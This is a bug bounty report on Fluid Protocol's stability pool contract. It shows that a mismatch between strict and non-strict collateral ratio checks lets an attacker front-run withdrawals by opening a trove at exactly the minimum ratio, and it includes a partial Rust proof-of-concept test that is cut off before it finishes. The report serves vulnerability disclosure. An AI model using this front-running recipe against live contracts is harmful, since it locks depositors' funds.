Active Boosts

#37382 [SC-Insight] Inconsistent Collateral Ratio Checks in Stability Pool Withdrawals Lead to Fund-Locking DoS

Submitted on Dec 3rd 2024 at 16:14:10 UTC by @InquisitorScythe for IOP | Fluid Protocol

  • Report ID: #37382

  • Report Type: Smart Contract

  • Report severity: Insight

  • Target: https://github.com/Hydrogen-Labs/fluid-protocol/tree/main/contracts/stability-pool-contract/src/main.sw

  • Impacts:

    • Permanent freezing of funds

    • Permanent freezing of unclaimed yield

Description

Brief/Intro

In the withdraw_from_stability_pool function from stability-pool-contract/src/main.sw, there is an initial check called require_no_undercollateralized_troves. Unfortunately, this check condition is inappropriate, allowing attackers to prevent legitimate withdrawal operations through front-running at any time. As a result, users' USDF and generated rewards remain locked in the stability pool and cannot be withdrawn.

Vulnerability Details

A critical vulnerability exists in the stability pool contract where users' ability to withdraw their USDF funds can be maliciously blocked through a front-running attack. This is caused by an inconsistency between collateral ratio checks in different contract functions.

The vulnerability stems from the withdraw_from_stability_pool function's implementation, specifically in its require_no_undercollateralized_troves check:

#[storage(read)]
fn require_no_undercollateralized_troves() {
    // ... initialization code ...
    require(
        last == Identity::Address(Address::zero()) || trove_manager
            .get_current_icr(last, price) > MCR, // Critical: Uses strict inequality
        "StabilityPool: There are undercollateralized troves",
    );
    // ... remaining code ...
}

The key issue lies in the inequality operator (>) used to compare the Individual Collateral Ratio (ICR) with the Minimum Collateral Ratio (MCR). However, the open_trove function uses a different comparison:

fn require_at_least_mcr(icr: u64) {
    require(
        icr >= MCR,  // Uses >= instead of >
        "Borrow Operations: Minimum collateral ratio not met",
    );
}

This inconsistency creates an exploitable condition:

  1. Users can legitimately open or adjust troves with exactly MCR (ICR = MCR)

  2. The stability pool withdrawal function will revert if any trove has ICR ≤ MCR An attacker can exploit this by:

  3. Monitoring the mempool for stability pool withdrawal transactions

  4. Front-running these transactions by opening a trove with ICR = MCR

  5. This causes the victim's withdrawal transaction to fail due to the strict inequality check As a result, attackers can effectively prevent specific users from withdrawing their USDF and accumulated gains from the stability pool, creating a denial-of-service condition for legitimate withdrawals. It is possible to lock specific users' fund in the pool as long as possible with little cause.

Possible Fix

Relaxation of withdrawal restrictions, allow user withdraw their fund even when undercollateralized troves exists.

Impact Details

The vulnerability creates a severe denial-of-service condition that directly impacts both users' funds and the protocol's stability. The impact can be broken down into several critical areas:

Direct Financial Impact

  • Users' USDF deposits and earned collateral rewards become inaccessible in the Stability Pool

  • Attackers can selectively target and lock specific users' funds indefinitely

  • Loss of potential earnings from FPT token distributions and collateral rewards

  • The affected amounts could be significant, as the Stability Pool typically holds substantial deposits

Protocol Stability Risks

  1. Liquidity Impairment:

    • Reduced effectiveness of the Stability Pool as the first line of defense for liquidations

    • Decreased Total Collateral Ratio (TCR) protection capability

    • Potential cascading effect on the protocol's ability to maintain stable operations

  2. Systemic Risks:

    • Loss of user confidence leading to reduced deposits in the Stability Pool

    • Increased vulnerability to bank run scenarios

    • Compromised liquidation mechanisms if Stability Pool liquidity becomes insufficient

Long-term Protocol Damage

  • Reputational damage to Fluid Protocol

  • Reduced user trust leading to decreased protocol adoption

  • Potential exodus of existing users due to fund accessibility concerns

  • Negative impact on protocol's competitive position in the DeFi ecosystem

The severity is heightened because:

  1. The attack can be executed at any time

  2. It requires very low cost to execute

  3. The impact is persistent until protocol code is updated

  4. There's no immediate workaround for affected users

This vulnerability falls within the program's scope as it directly impacts fund accessibility and protocol stability, warranting a critical-severity classification.

References

None

Proof of Concept

Proof of Concept

Add following test in contracts/stability-pool-contract/tests/functions/failure.rs

#[tokio::test]
#[tokio::test]
async fn fails_withdraw_underattack() {
    let (contracts, admin, mut wallets) = setup_protocol(4, false, false).await;

    oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;
    pyth_oracle_abi::update_price_feeds(
        &contracts.asset_contracts[0].mock_pyth_oracle,
        pyth_price_feed(1),
    )
    .await;

    // Admin opens a trove and deposits to stability pool
    borrow_operations_utils::mint_token_and_open_trove(
        admin.clone(),
        &contracts.asset_contracts[0],
        &contracts.borrow_operations,
        &contracts.usdf,
        &contracts.fpt_staking,
        &contracts.active_pool,
        &contracts.sorted_troves,
        6_000 * PRECISION,
        3_000 * PRECISION,
    )
    .await;

    let init_stability_deposit = 2_000 * PRECISION;
    stability_pool_abi::provide_to_stability_pool(
        &contracts.stability_pool,
        &contracts.community_issuance,
        &contracts.usdf,
        &contracts.asset_contracts[0].asset,
        init_stability_deposit,
    )
    .await
    .unwrap();

    let attacker_wallet = wallets.pop().unwrap();
    // Open one trove that icr = MCR
    borrow_operations_utils::mint_token_and_open_trove(
        attacker_wallet.clone(),
        &contracts.asset_contracts[0],
        &contracts.borrow_operations,
        &contracts.usdf,
        &contracts.fpt_staking,
        &contracts.active_pool,
        &contracts.sorted_troves,
        135675  * 10000000, // 1356.75
        100000  * 10000000, // 1000
        // 1346.75 / (1000* 1.005 ) = 1.35
    )
    .await;